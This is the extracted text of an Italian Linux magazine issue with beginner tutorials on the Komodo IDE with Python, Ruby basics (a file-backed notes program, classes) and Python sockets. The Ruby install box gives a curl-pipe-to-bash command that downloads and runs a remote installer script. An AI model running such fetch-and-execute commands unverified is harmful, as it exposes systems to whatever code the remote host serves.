Costruzione del codiceCon un nuovo file pronto a ricevere il nostro codice python, vediamo alcuni esempi di come un iDE può aiutare nella costruzione del codice. prendendo spunto da un tutorial precedente, scrivete import. Come abbiamo visto il mese scorso, questo comando ci permette di importare funzionalità aggiuntive in python, importando del codice da altri moduli o librerie. Quando si utilizza un normale editor di testo, è necessario conoscere il nome esatto del modulo che si vuole importare. Komodo, invece, vi offre una lista dei moduli installati, e dovete soltanto scegliere quale volete importare. Scegliete math per aggiungere il supporto alle funzioni matematiche. A questo punto aggiungete al vostro file il seguente codice: def quadrato(x): return x*xCome potreste ricordare, questa semplicissima funzione si occupa di calcolare il quadrato di un numero e restituirlo. Dovreste aver notato anche alcune semplificazioni, per esempio l’indentazione dovrebbe essere stata aggiunta in automatico, se ora provate a scrivere print quadrato(10) in un’altra riga, Komodo dovrebbe riconoscere la presenza della nuova funzione e mostrarvi un tooltip che vi ricorda che la funzione richiede un valore. Sfortunatamente, Komodo Edit non integra una funzionalità per l’esecuzione del codice all’interno dell’applicazione, il che significa che dovete eseguire il vostro script in modo semi-manuale. premento Ctrl+r o selezionando Tools à Run Command dal menu si aprirà una schermata di dialogo, e all’interno di essa dovete scrivere %(python) %F. Tutto ciò che fa questo comando è sostituire %(python) con l’eseguibile di default di python, che potete modificare se volete dal pannello Preferences, e %F con il percorso completo dello script che state modificando. Questo comando cercherà di eseguire il vostro script, stampando l’output in un nuovo pannello nella parte bassa dell’editor. Se dovessero esserci errori, verranno visualizzati sempre nello stesso pannello: cliccando su di essi verrete portati direttamente nella parte del codice che ha generato l’errore. Dovreste dare un’occhiata anche al pannello chiamato Syntax Checking Status. Qui potete vedere in tempo reale se nel vostro codice sono presenti errori di sintassi, come per esempio una scorretta indentazione quando create una nuova funzione. Questo è uno dei motivi per cui dovete essere sicuri che sia selezionato il linguaggio corretto: potete controllare il linguaggio in uso nella barra in basso più o meno al centro, per cambiarlo è sufficiente cliccarci sopra e scegliere un linguaggio differente dalla tendina. La tipologia viene selezionata automaticamente da Komodo quando create un progetto o un file. Dovreste aver notato anche che quando create una nuova funzione nell’editor appaiono dei simboli sulla sinistra che evidenziano il blocco di codice. potete cliccare sul quadrato bianco con un meno in mezzo per nascondere il blocco e rendere il vostro codice più semplice da leggere. Molti iDE, e alcuni editor, offrono questa funzionalità. Di fatto, quello che abbiamo visto finora spiega un po’ come funzionano

quasi tutti gli iDE. Questi tool sono un po’ come degli editor avanzati che si posizionano sopra ai tool per eseguire il codice o per produrre file binari. ora che avete eseguito il comando run, potete aggiungerlo alla toolbox di Komodo, e da lì creare una combinazione di tasti per eseguire quel comando ogni volta che volete eseguire il vostro script. Dalla schermata di run, spuntate il checkbox Add to Toolbox. Apparirà un nuovo pannello sulla parte destra dell’interfaccia, contenente, tra le altre cose, il comando che avete appena lanciato. Cliccandoci con il tasto destro e selezionando Properties potrete rinominare il comando e associare una scorciatoia per poterlo eseguire con la tastiera. Tornate ora all’editor e aggiungete un’altra funzione, per esempio def radice_quadrata(x):, e dentro di essa scrivete math. L’editor vi mostrerà tutte le funzioni offerte dal modulo math importato in precedenza. Selezionate math.sqrt e, aggiungendo la prima (, vedrete un piccolo popup che vi informa esattamente di cosa fa la funzione che state chiamando, incluse le variabili che si aspetta in input. Questo è ciò che rende Komodo Edit un ottimo strumento per imparare a utilizzare un linguaggio. Aiuta i principianti a lavorare sui propri progetti senza aver bisogno di controllare continuamente la documentazione.

Programmatori part-timeAlcuni sviluppatori sostengono che il completamento automatico impigrisce i programmatori perché avere qualcuno che scrive i nomi per te e che ti avvisa quando commetti un errore rende impossibile l’apprendimento del linguaggio. noi pensiamo che sia parzialmente vero, ma che non tenga in considerazione chi programma per hobby o part-time. i professionisti spendono tutti i loro giorni lavorativi immersi nel codice, quindi per loro la cosa migliore è imparare il più possibile del linguaggio che stanno utilizzando. Questo processo avviene senza che se ne accorgano. Ma per tutti gli altri che sviluppano saltuariamente, quando gli impegni glielo permettono, funzionalità come il completamento automatico e la syntax highlighting possono migliorare la produttività. Ed è qui che gli iDE possono fare la differenza. LXP

Komodo include molti template per iniziare un progetto, ma potete tranquillamente crearne di vostri se lo ritenete opportuno

Scrivere codice con un IDE

LXP130_78-79_concetti 79 06/06/13 01:51

Page 82: Linuxpro 130 Giugno 2013

80 LINUX PRO 130

Ruby

Ruby-on-Rails è il framework Web del momento, usato ovunque sulla rete per progetti Open Source. Rails è la parte Web del framework: il linguaggio

sottostante è Ruby. È fl essibile, fortemente orientato agli oggetti e favorisce un veloce sviluppo. La popolarità di Ruby sta crescendo rapidamente insieme a Rails, dato che nonè richiesto un grande sforzo per iniziare a usarlo. Per l’installazione potete vedere il box dedicato all’argomento. Una volta installatolo, per farvi un’idea di come funziona scrivete semplicemente irb sulla riga di comando. Partirà la Interactive Ruby Shell, che vi permetterà di inserire codice Ruby e vedere immediatamente il risultato. Provate questo: irb(main):001:0> 3*5 => 15 irb(main):002:0> print ‘Ciao!’ Ciao!=> nil irb(main):003:0> puts ‘Ci siete?’ Ci siete? => nilNell’esempio sia print che puts (put string: stampa una stringa sullo standard output) sono metodi. Potete anche racchiudere l’argomento tra parentesi: puts(‘Ci siete?’). In Ruby le parentesi sono opzionali, quindi dipende da voi (o dal progetto su cui state lavorando) decidere quale sia il vostro stile di codifi ca preferito (le norme dettate dalla comunità Ruby tendono di solito al minimalismo, quindi evitate di usare le parentesi a meno che non migliorino la leggibilità del codice). In entrambi i casi il valore restituito dalla funzione è nil mentre il valore di 3*5 è 15.È anche possibile scrivere un metodo all’interno di irb. Ecco un esempio: irb(main):008:0> def saluta irb(main):009:1> return ‘Ciao!’ irb(main):010:1> end => nil irb(main):011:0> saluta => “Ciao!”Abbiamo defi nito un metodo che restituisce una stringa, poi l’abbiamo chiamato e il suo valore di ritorno è, come ci aspettavamo, una stringa. Notate come IRB

sia suffi cientemente intelligente da capire che il metodo non è terminato fi nché non inseriamo la riga con end e non restituisce nulla fi no ad allora.Non è comunque necessario usare return per ottenere qualcosa da un metodo Ruby. Provate questo frammento di codice: irb(main):006:0> def saluta2 irb(main):007:1> ‘Ciao, ma senza return!’ irb(main):008:1> end => nil irb(main):009:0> saluta2 => “Ciao, ma senza return!”I metodi Ruby restituiscono automaticamente il valore ottenuto dalla valutazione dell’ultima riga del metodo stesso. Quindi return è necessario solo quando ci sono valori di ritorno multipli, oppure per rendere più chiaro del codice particolarmente complicato.Per eseguire del codice autonomamente, senza bisogno di usare IRB, è suffi ciente inserirlo in un fi le con estensione .rb ed eseguirlo con il comando ruby ilmiofi le.rb. In alternativa è possibile inserire una riga con uno shebang all’inizio del fi le, rendere il fi le eseguibile e potrete usarlo come un comando: #!/usr/bin/ruby -w puts ‘Riesco a lanciare Ruby!’Notate l’opzione -w, che abilita i warning: è buona pratica usarlo sempre. Una volta reso eseguibile il fi le potete lanciarlo con ./ilmiofi le.rb.

RVM (Ruby Version Manager) è il sistema più semplice per l’installazione di Ruby. Tra le altre cose permette di installare e usare differenti versioni del linguaggio su di una singola macchina, cosa che potrà rivelarsi utile più avanti, quando avrete maggior esperienza con Ruby. Se avete installato Git, tutto quello di cui avete bisogno è il seguente comando: $ \curl -L https://get.rvm.io | bash -s stable --ruby(sì, il backslash ci vuole). Verranno scaricati e installati RVM, Ruby e gli altri componenti necessari e poi vi verrà chiesto di eseguire alcune operazioni (di solito si tratta semplicemente di caricare con source lo script di RVM) prima di iniziare a usarlo. Per maggiori informazioni visitate il sito di RVM: http://rvm.io/rvm/install/ oppure, se preferite altri metodi di installazione, www.ruby-lang.org/en/downloads/

Installare Ruby

Installazione di RVM in corso...

Notate i diversi risultati della moltiplicazione quando usiamo 7 (un intero) e 7.0 (un numero a virgola mobile)

Esploriamo RubyNel primo dei nostri tre tutorial introduttivi a Ruby inizierete a conoscere questo linguaggio e scriverete il vostro primo programma

LXP130_80-83_ruby 80 10/06/13 15:32

Page 83: Linuxpro 130 Giugno 2013

LINUX PRO 130 81

Ruby

L’indentazione non conta per la sintassi del codice, ma la comunità Ruby preferisce usare due spazi per ciascun livello.

Tip

Il primo programma

Due esecuzioni della prima versione del codice, con in mezzo la correzione di un errore dovuto a una riga di codice dimenticata alla fi ne del fi le

Scriveremo ora un piccolo programma in Ruby che si comporta come una specie di blocco per le note. Alla fi ne del tutorial blocconote.rb ci mostrerà le note che abbiamo già inserito e ci permetterà di aggiungerne di nuove alla fi ne. Trovate il codice completo sul DVD allegato alla rivista: la versione iniziale si chiama blocconote_v1.rb. Per prima cosa vediamo come si fa a scrivere su un fi le. In Ruby l’I/O è gestito dalla classe IO, di cui la classe File è una sottoclasse. Create il fi le blocconote.rb e inseriteci queste righe: #!/usr/bin/ruby -w bnt = File.open(‘blocconote.txt’, ‘w’) bnt.puts ‘La mia prima nota’ bnt.closeCome senz’altro avrete già sentito dire, in Ruby tutto è un oggetto. Quindi anche cose come i numeri, che in altri linguaggi OO (ad esempio Java) sono trattati come tipi primitivi. In Ruby invece assolutamente tutto può avere un metodo o una variabile di istanza associato a esso. Questo, tra le altre cose, signifi ca che la maniera standard per far succedere qualcosa ha la forma cosa.metodo. Nel frammento di codice qui sopra abbiamo usato il metodo open della classe File per aprire un nuovo fi le da scrivere. Notate come, a differenza (ad esempio) di Java, non è necessario usare esplicitamente new() per creare un nuovo oggetto di un tipo particolare. A bnt viene automaticamente assegnato un oggetto di tipo File: per verifi carlo potete eseguire in irb la riga di codice con la chiamata al metodo open e poi digitare bnt.class.name, che restituirà la stringa “File”. Potete poi chiamare il metodo puts: bnt.puts “Stringa” e poi close per chiudere il fi le. Una volta salvato il fi le, rendetelo eseguibile con chmod e poi lanciatelo con il comando ./blocconote.rb. Terminato il programma, date un’occhiata al contenuto del fi le blocconote.txt. Ci sono un paio di metodi alternativi per scrivere sul fi le: funzionano sia bnt.write “La mia stringa\n” che bnt << “La mia stringa\n”. In entrambi i casi occorre però aggiungere esplicitamente il carattere di ritorno a capo, cosa che puts aggiunge invece automaticamente. Questa versione del programma sovrascrive tutti i dati eventualmente presenti nel fi le ogni volta che lo lanciate. Per aggiungere dati alla fi ne del fi le dovete usare la modalità append e non la write, usando File.open(‘blocconote.txt’, ‘a’). Fate la modifi ca adesso, così il vostro fi le potrà aumentare di volume. E per rileggere i dati? Aggiungete queste righe alla fi ne di blocconote.rb: bnt_lettura = File.open(‘blocconote.txt’) while line = bnt_lettura.gets do puts line end bnt_lettura.closeApriamo di nuovo il fi le (vedremo tra poco come eliminare questa seconda apertura rimaneggiando un po’ il codice) e poi iniziamo un ciclo while. La sintassi di questa istruzione di controllo è while CONDIZIONE do su una singola riga, seguita dal blocco da eseguire a ogni ripetizione, seguito a sua volta

da end per segnalare la fi ne del blocco. Nel nostro caso il blocco while viene ripetuto fi nché gets riesce a leggere una riga dal fi le (ilmiofi le.gets legge una riga per volta da ilmiofi le). All’interno del blocco ci limitiamo semplicemente a stampare con puts la riga letta sull’output standard, cioè sulla console.Per creare una nuova nota dobbiamo riuscire a leggere quello che digita l’utente. La maniera più semplice per farlo è leggere una singola stringa battuta dall’utente sulla tastiera. Commentate la parte iniziale di notebook.rb, quella in cui scrive sul fi le, e modifi catelo in modo che si presenti così: bnt = File.open(‘blocconote.txt’, ‘a+’) while line = bnt.gets do puts line end

puts ‘Inserisci una nuova nota’ nota = gets bnt.puts nota bnt.closeApriamo il fi le con il parametro ’a+’ perché vogliamo essere in grado di leggere dal fi le e scrivere alla fi ne senza cancellare le righe già inserite. Leggiamo poi le note presenti nel fi le e le stampiamo sul video, poi chiediamo all’utente di inserirne una nuova e con gets leggiamo dalla console (cioè dallo standard input) una stringa, che diventerà la nuova nota. Infi ne con bnt.puts la scriviamo sul fi le. Dato che usiamo gets e puts per scrivere e leggere le note, i caratteri di fi ne riga non ci danno nessun problema, perché sono gestiti automaticamente: ogni nota viene scritta su una nuova riga, ma quando la leggiamo il carattere di fi ne riga viene omesso. In altre situazioni può invece rendersi necessaria l’esplicita eliminazione del carattere di fi ne riga, che si ottiene con un’istruzione del tipo nota = gets.chomp. È anche possibile semplifi care la parte fi nale del codice, eliminando la variabile nota: puts ‘Inserisci una nuova nota’ bnt.puts gets bnt.close œ

Esploriamo Ruby

LXP130_80-83_ruby 81 10/06/13 15:32

Page 84: Linuxpro 130 Giugno 2013

82 LINUX PRO 130

Ruby

Creare una classe

Finora il nostro programma è stato impostato in forma imperativa: fai questo, poi fai quello... Se volete scrivere dei programmi più complessi però conviene che cominciate a creare le vostre classi. Ricominceremo daccapo con un nuovo fi le, sul DVD ha nome blocconote_v2.rb. Questa volta inizieremo con la defi nizione della classe Nota. Ogni oggetto di tipo Nota ha un titolo e un corpo: class Nota def initialize(titolo, corpo) @titolo = titolo @corpo = corpo end endIl metodo initialize di una classe viene eseguito automaticamente quando create un nuovo oggetto chiamando Classe.new ed è utile per impostare lo stato iniziale dell’oggetto. Nel nostro caso il metodo Nota.initialize accetta due argomenti, titolo e corpo. Secondo la convenzione Ruby, le variabili locali e i parametri delle funzioni iniziano con una lettera minuscola, mentre i nomi delle classi con una maiuscola. Ogni oggetto Nota avrà un suo titolo e un corpo, quindi ogni oggetto conterrà delle variabili di istanza per contenerli. In Ruby le variabili di istanza hanno un nome che comincia con @. In questo caso si tratta di @titolo e @corpo. Per collaudare il nostro codice aggiungiamo queste due righe sotto la defi nizione della classe: laMiaNota = Nota.new(‘Nota 1’, ‘Questa è una nota’) puts laMiaNota.inspectLa prima crea un oggetto di tipo Nota con il titolo e il corpo che vedete, mentre la seconda usa il metodo inspect per esaminare l’oggetto creato. Provate ad eseguire il codice, vi apparirà qualcosa di questo genere sullo schermo: #<Nota:0x00000001d7f2e8 @titolo=“Nota 1”, @corpo=“Questa è una nota”>Sembra che funzioni tutto bene, anche se la formattazione non è un granché. In Ruby gli oggetti sono dotati di un metodo standard, to_s, che produce una stringa che rappresenta l’oggetto. Però, se proviamo l’istruzione puts laMiaNota.to_s otteniamo semplicemente qualcosa di simile a #<Nota:0x00000001d7f2e8>: un identifi cativo dell’oggetto che non è di grande utilità. Per risolvere il problema possiamo ridefi nire il metodo to_s della nostra classe Nota. Aggiungiamo la sua defi nizione all’interno di quella della classe, dopo quella del metodo initialize: class Nota def to_s “Nota: #{@titolo}, #{@corpo}” end end(d’ora in avanti, per ragioni di spazio, riporteremo solo le parti aggiunte o modifi cate della classe. Potete vedere la defi nizione completa della classe nei fi le presenti sul DVD). Per la prima volta usiamo le virgolette “ anziché l’apostrofo ‘ per le stringhe: dobbiamo farlo perché abbiamo usato l’interpolazione di variabili, che non funziona con l’apostrofo. Possiamo anche scrivere #@titolo e #@corpo, ma conviene usare sempre le parentesi graffe perché così è possibile interpolare anche espressioni più complesse di una semplice variabile. A questo punto se lanciamo il programma otteniamo un risultato più interessante: Nota: Nota 1, Questa è una nota. Se a questo punto volessimo accedere

al solo titolo o al corpo della nota? Le variabili di istanza titolo e corpo sono private e accessibili solo all’oggetto specifi co: nessun altro oggetto può accedervi. È una buona cosa perché così nessun altro oggetto può modifi carle per errore, ma implica che dobbiamo fare qualcosa di esplicito per renderle accessibili. Possiamo, per esempio, scrivere un paio di metodi per leggerle, aggiungendoli alla defi nizione della classe: class Nota def titolo @titolo end def corpo @corpo end endA questo punto il seguente codice: laMiaNota = Nota.new(‘Nota 1’, ‘Questa è una nota’) puts laMiaNota.titolo puts laMiaNota.corpovisualizzerà due righe con titolo e corpo della nota. Dato però che si tratta di operazioni usate molto di frequente, Ruby mette a disposizione una scorciatoia, il metodo attr_reader. Sostituite i metodi titolo e corpo appena visti con questo: class Nota attr_reader :titolo, :corpo ende rilanciate il programma: otterrete lo stesso risultato di prima.È possibile rendere accessibile anche solo uno delle due variabili. La notazione :variabile crea un oggetto di tipo Symbol che corrisponde alla variabile di istanza @variabile, consentendo di manipolarla con *meta*metodi come questo. Se, per esempio, ci fosse la necessità di modifi care le variabili di istanza, si può usare quest’altro comodo metodo: class Nota attr_writer :titolo, :corpo end laMiaNota = Nota.new(‘Nota 1’, ‘Questa è una nota’) laMiaNota.titolo = “Nota 1 modifi cata” puts “Il titolo è: ” + laMiaNota.titoloPer creare insieme un metodo per leggere e scrivere le variabili di istanza si può usare attr_accessor :titolo, :corpo. Possiamo poi aggiungere alcune righe per chiedere all’utente di inserire una seconda riga: puts “Inserisci il titolo della nuova nota” ilMioTitolo = gets.chomp puts “Inserisci il corpo della nuova nota” ilMioCorpo = gets.chomp laMiaNota2 = Nota.new(ilMioTitolo, ilMioCorpo) puts laMiaNota2.to_sVerrà richiesto all’utente di inserire una nuova nota (titolo e corpo), poi verrà creato e visualizzato un nuovo oggetto Nota. Potreste chiedervi quante note ci sono in totale. Per tenerne traccia dobbiamo usare una variabile di classe, cioè una variabile di cui esiste una sola istanza per l’intera classe Nota e che viene incrementata ogni volta che creiamo una nuova Nota: class Nota @@note = 0 def initialize(titolo, corpo) @titolo = titolo

Ruby interpreta i punti e virgola e i ritorni a capo come caratteri di terminazione di un’istruzione. Un operatore (come +, -, \) alla fi ne della riga indica una continuazione. Gli spazi e i tab di solito sono ignorati: usate l’opzione -w per evidenziare quelle rare occasioni in cui vengono usati per interpretare istruzioni ambigue.

Tip

Quando cerca un metodo, Ruby prova per prima cosa la classe indicata nella chiamata, poi la classe da cui discende e così via fi no a risalire l’intera gerarchia ereditaria. Nel caso della nostra classe Nota c’è solo un antenato: la classe Object (potete verifi carlo con Nota.superclass). È possibile invocare esplicitamente l’antenato di un metodo che si sta ridefi nendo con super.metodo.

Tip

LXP130_80-83_ruby 82 10/06/13 15:33

Page 85: Linuxpro 130 Giugno 2013

LINUX PRO 130 83

Ruby

È sempre una buona idea documentare il proprio codice in maniera chiara, in modo che gli altri (o anche noi stessi tra qualche tempo) possano comprenderlo facilmente. Uno standard abbastanza diffuso all’interno della comunità

Ruby è TomDoc (http://tomdoc.org). Per ogni metodo della classe bisogna descrivere quello che fa, i suoi argomenti e il valore restituito. Per il costruttore (il metodo initialize) e gli attributi (attr_accessor ecc.) si può usare un formato

più compatto. TomDoc è pensato per essere al contempo leggibile dagli umani e analizzabile da parte di un programma, anche se funziona meglio con l’inglese che con l’italiano. Per i dettagli potete vedere la homepage del progetto.

Documentazione

irb, Interactive Ruby, è utilissimo per fare esperimenti e mettere a punto frammenti di codice. Un suo buon uso può davvero accelerare lo sviluppo. Ad esempio, se inserite una stringa seguita da un punto e poi premete Tab, otterrete una lista dei metodi che si possono usare su un oggetto di tipo String. Dato che in Ruby ogni cosa è un oggetto, questo sistema funziona con qualsiasi cosa inseriate. Se per caso il completamento non funzionasse, provate irb --readline -r irb/completion.Un altro utile comando è ri, che permette di accedere alla documentazione di Ruby. Per vedere tutte le classi che conosce, date

il comando ri -l, poi provate ri FileUtils per vedere la documentazione della classe FileUtils. Per accedere alla documentazione di un metodo specifi co provate ri String#split.La fonte più autorevole per la documentazione Ruby rimane comunque http://www.ruby-doc.org/. Qui potete trovare la documentazione completa delle API delle varie versioni del linguaggio, FAQ e tutorial assortiti e anche la versione online scaricabile della prima edizione del libro Programming Ruby The Pragmatic Programmer’s Guide, noto anche come The Pick-axe per via del piccone che compare sulla copertina.

Esperimenti

@corpo = corpo @@note += 1 end def Nota.totale_note “Totale note: #{@@note}” end endLe variabili di classe hanno due @ all’inizio del nome: @@variabile. Defi niamo @@note all’inizio della classe e poi ne incrementiamo il valore nel costruttore, cioè ogni volta che viene creata una nuova Nota. Per accedere al contenuto di una variabile di classe dobbiamo creare un metodo di classe, usando la sintassi Classe.metodo. Aggiungete la seguente riga alla fi ne del fi le, dopo che abbiamo creato due note, per chiamare il metodo: puts Nota.totale_noteÈ anche possibile accedere a una variabile di classe dall’interno di un normale metodo di istanza, quindi potremmo ottenere lo stesso risultato con un metodo del genere: def totale_note “Totale note: #{@@note}” endPer chiamarlo però dovremmo usare una particolare istanza della classe: puts laMiaNota.totale_noteQuindi ha molto più senso usare un metodo di classe. Un’altra maniera per riferirsi a un metodo di classe dall’interno di un metodo di istanza è self.totale_note. L’effetto è il medesimo, è solo una questione di preferenze. Avrete notato che in questa versione del programma le vostre note non si conservano tra un’esecuzione del programma e la successiva. Inseriamo quindi l’interazione con la classe File che abbiamo visto prima. Quest’ultima parte del tutorial è contenuta nel fi le blocconote_3.rb, che è costruito a partire dalla versione 2. Aggiungete questo metodo alla classe Nota: class Nota @@fi le_blocconote = “blocconote.txt”

def scrivi_sul_fi le bnt = File.open(@@fi le_blocconote, ‘a’) bnt.puts(@titolo, @corpo) bnt.close end end

laMiaNota = Nota.new(‘Nota 1’, ‘Questa è una nota’) laMiaNota.scrivi_sul_fi leIl nostro metodo scrivi_sul_fi le fa quello che dice il suo nome: scrive la nota il cui titolo e testo gli vengono passati come argomenti sul fi le che contiene il blocco note, il cui nome è contenuto in una variabile di classe. Lanciate il programma e poi date un’occhiata a blocconote.txt, dovreste trovare la nota scritta alla fi ne del fi le. E per la lettura delle note già scritte? Non dovrebbe essere eseguita all’interno di un metodo di istanza, perché vorremmo essere

in grado di leggere le note esistenti indipendentemente da qualsiasi nota specifi ca. Possiamo farlo all’interno del “programma principale” (al di fuori della classe Nota) oppure in un metodo di classe. Proviamo a inserirlo al di fuori della classe: class Nota def self.nome_del_fi le @@fi le_blocconote end end bnt = File.open(Nota.nome_del_fi le, ‘r’) while riga=bnt.gets do nota = riga.split(‘,’) notaObj = Nota.new(nota.fi rst, nota.last) puts notaObj.to_s endLa variabile nota è usata come un array, ma Ruby non richiede che venga dichiarata prima di usarla, quindi possiamo assegnarle direttamente il risultato di riga.split(‘,’), che spezza la stringa riga in corrispondenza del carattere ,. Senza argomenti riga.split spezza la riga in corrispondenza degli spazi, cosa che non ci va bene perché sia il titolo che il corpo della nota potrebbero contenere degli spazi. Usiamo poi il primo e l’ultimo elemento dell’array (ottenuti chiamando i metodo fi rst e last) per creare un nuovo oggetto della classe Nota, di cui poi stampiamo sullo schermo il contenuto chiamando il metodo to_s. Dato che, dopo la stampa, non facciamo nulla con la variabile notaObj, possiamo semplifi care il codice: while riga=bnt.gets do puts riga.split(‘,’) endIl titolo e il corpo delle note verranno stampati su due righe diverse. Se usate print al posto di puts le note verranno stampate senza spazi tra una e l’altra. La creazione di notaObj e l’uso del metodo to_s ci consentono di avere un maggior controllo sulla stampa. LXP

Può essere utile verifi care che la chiamata a split(‘,’) produca effettivamente due soli elementi: nota = riga.split(‘,’) if nota.length != 2 puts “Problema: la nota contiene un numero di campi diverso da 2” next end notaObj = Nota. new(nota.fi rst, nota.last) puts notaObj.to_s

Tip

LXP130_80-83_ruby 83 10/06/13 15:33

Page 86: Linuxpro 130 Giugno 2013

84 LINUX PRO 130

Python

Quando si riesce a scrivere un programma che compie un determinato compito nel modo corretto, si prova una grande soddisfazione.

Ma qualche volta una singola applicazione non è il modo migliore, o addirittura non è suffi ciente, per affrontare un certo problema. Il paradigma client/server ci accompagna fi n dai tempi dei primi PDP, assemblati mettendo assieme delle valvole nei laboratori del MIT. È un modello che è durato nel tempo perché è molto utile: spesso l’operatore, o il client, si trova in un posto differente e usa dell’hardware diverso da quello su cui sta girando il processo a cui vuole accedere. Nell’era di Internet questo accade miliardi di volte al secondo. Potrebbe stare accadendo anche con il software che usate di solito. Ipotizzate di aver un programma che tiene sotto controllo il carico medio del processore. Una parte del programma potrebbe passare il tempo verifi cando il carico attuale, mandando magari un messaggio a un’altra parte quando il carico supera una certa soglia. Però l’operazione di calcolo del carico attuale potrebbe essere svolta da un task separato – magari un’applicazione client per il desktop. Queste due parti di software hanno bisogno di comunicare tra di loro, ed è questo l’argomento di questo tutorial. La comunicazione tra processi (detta anche inter-processo o IPC) copre diverse aree d’interesse, perché ci sono tantissimi modi in cui un software può comunicare con un altro. Un modo, che ci crediate o meno, è via chat. Non intendiamo dire che i vostri programmi si ritrovano su Google Talk a chiacchierare, ma il protocollo di messaggistica XMPP viene usato molto spesso per la comunicazione inter-processo. I metodi per ottenere informazioni da un programma per passarle a un altro che siano sicuri e affi dabili sono sempre ben voluti. Per i nostri

scopi, però, useremo qualcosa di più semplice. In pratica tutti i tipi di comunicazione tra processi avviene tramite porte e socket. Questi sono i meccanismi tramite i quali fate il login sui siti FTP, vi collegate in remoto via SSH o interrogate il motore di ricerca di Google per trovare le risposte ai vostri dubbi su Python. I socket sono una parte fondamentale delle comunicazioni, e potete usarli direttamente dai vostri script Python. Una volta deciso di usare i socket, sono due le strade percorribili: usare il protocollo TCP o UDP. Se avete familiarità con le tecnologie di rete (ne abbiamo parlato negli ultimi due numeri), questi protocolli e le loro differenze dovrebbero esservi note, ma un breve riassunto non fa male a nessuno. TCP è il Transmission Control Protocol. Usare questo sistema vuol dire che il client invia invia una richiesta al server. Il server poi (si spera) accetta la richiesta

e dà conferma della ricezione. Viene quindi aperta una connessione condivisa per far comunicare le due parti. A un certo punto, per qualche ragione, la connessione verrà terminata. UDP, invece, è lo User Datagram Protocol. Impiegando questo sistema il client divide semplicemente un messaggio (se necessario) in un certo numero di pacchetti. Questi vengono inviati all’indirizzo del server, il quale può (se ha voglia) elaborare le informazioni ricevute e rispondere allo stesso modo. La differenza principale tra le due strade è che TCP usa una connessione diretta. Quando siete collegati, potete essere praticamente sicuri che l’altra parte sta ascoltando. UDP, d’altra parte, non vi garantisce che i pacchetti che avete inviato siano arrivati effettivamente dall’altra parte, e anche se lo fanno non avete la certezza che queste informazioni siano state comprese e che ci sarà una risposta. I pacchetti UDP si possono perdere, e potrebbero anche arrivare in un ordine diverso da quello dell’invio. Il vantaggio, però, è che questo protocollo non richiede l’instaurazione di un canale di comunicazione attivo, quindi se la disponibilità è un problema questi pacchetti possono essere più affi dabili. Se ancora non siete convinti, immaginate che una connessione telefonica sia una chiamata telefonica (dati trasmessi live in entrambe le direzioni) mentre UDP corrisponde, più o meno, all’invio di alcune cartoline (i pacchetti possono arrivare in qualunque ordine, o addirittura qualcuno potrebbe non arrivare). Quindi la scelta del protocollo da adottare dipende dallo scenario che dovete affrontare. Per cose non urgenti potreste scegliere UDP, ma per quelle veramente importanti è meglio optare per TCP.

Socket sempliciPer gestire i socket in Python è necessario caricare il modulo chiamato, indovinate un po’… socket, quindi il primo passo consiste nell’importarlo. Potete leggere

PRO

dentro il

Codice d’esempio

La documentazione sui socket è molto vasta e completa, ma non vi serve sapere tutto per iniziare a usarli

“Ci sono tantissimi modi in cui un software può comunicare con un altro”

Comunicazione tra processiI vostri script Python stanno iniziando a sentirsi soli? Allora è il momento di avviarne tanti e farli parlare tra loro, così dice la redazione di Linux Pro

LXP130_84-87_python 84 06/06/13 01:51

Page 87: Linuxpro 130 Giugno 2013

LINUX PRO 130 85

Python

la sua vasta documentazione nel sito http://docs.python.org/2.7/library/index.html, se avete qualche giorno libero. C’è così tanta documentazione perché esistono molti modi diversi di usare i socket. Noi iniziamo con la modalità base. Tutti i socket si collegano a un host e sono “attaccati” a un numero di porta. Se avete familiarità con il Web saprete che l’hostname (ad esempio sprea.it) viene risolto tramite il DNS in un indirizzo IP (81.29.213.113) e usa un particolare numero di porta a meno che non sia specifi cato diversamente (nel caso di HTTP, il protocollo usato per i siti Web, si tratta della porta 80). Difatti il server Web a quell’indirizzo è solo un’implementazione di un socket, uno che è collegato a una specifi ca porta a quell’indirizzo. Quando il client (in questo caso il vostro browser Web) inizia una connessione verso la porta e l’indirizzo del sito, esso invia un messaggio GET come stringa di testo. Il server Web replica con il contenuto richiesto e chiude la connessione. Questo è semplice da codifi care in uno script Python, ipotizzando di voler fornire solo dei contenuti statici. I contenuti del messaggio inviato al server Web è solo una stringa, d’altronde. Ecco i passi necessari per creare il vostro server Web in Python. Per prima cosa si importa il modulo socket: import socketOra potete creare un’istanza del socket in modo che agisca come server. Ci sono diversi tipi di socket e diverse sono le funzioni per cui essi possono essere usati. Per ora vi serve un socket di tipo Internet standard, e nei nostri esempi useremo delle connessioni TCP, quindi vi serve un socket di tipo STREAM: server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)Poi avete bisogno di legare il socket all’indirizzo del server e a una porta. Per i veri server Web attivi su Internet usereste l’hostname del sistema, così che il server Web possa essere accessibile dall’esterno. Visto che voi vi collegherete al vostro server dalla stessa macchina, potete usare la scorciatoia localhost (oppure ricorrere all’indirizzo 127.0.0.1). Per quel che riguarda la porta, dovete usarne una non utilizzata da altri servizi e che non faccia parte di quelle riservate/ristrette. 1088, per esempio, è un numero che può andare bene. server.bind((“localhost”, 1088))Ora tutto quello che dovete fare è dire al socket di accettare le connessioni. Il parametro è il numero delle connessioni attive consentite. Probabilmente ve ne servirà solo una. Il valore di default per un server di questo tipo, di solito, è di cinque, ma ricordate che la maggior parte dei software per la creazione di server Web sono multi-threaded, quindi ci possono essere molti thread o processi, ognuno dei quali gestisce diverse richieste alla volta. server.listen(3)Ora dovete creare un ciclo che attende che qualcosa si connetta. Poi potete ricevere il messaggio inviato dal client e usare le credenziali per inviare i dati al client: while True: (client, address) = server.accept() msg=client.recv(4096) print “ricevuto ”, msg client.send(“<html><head></head><body><h1> Ciao Mondo</body></html>”)

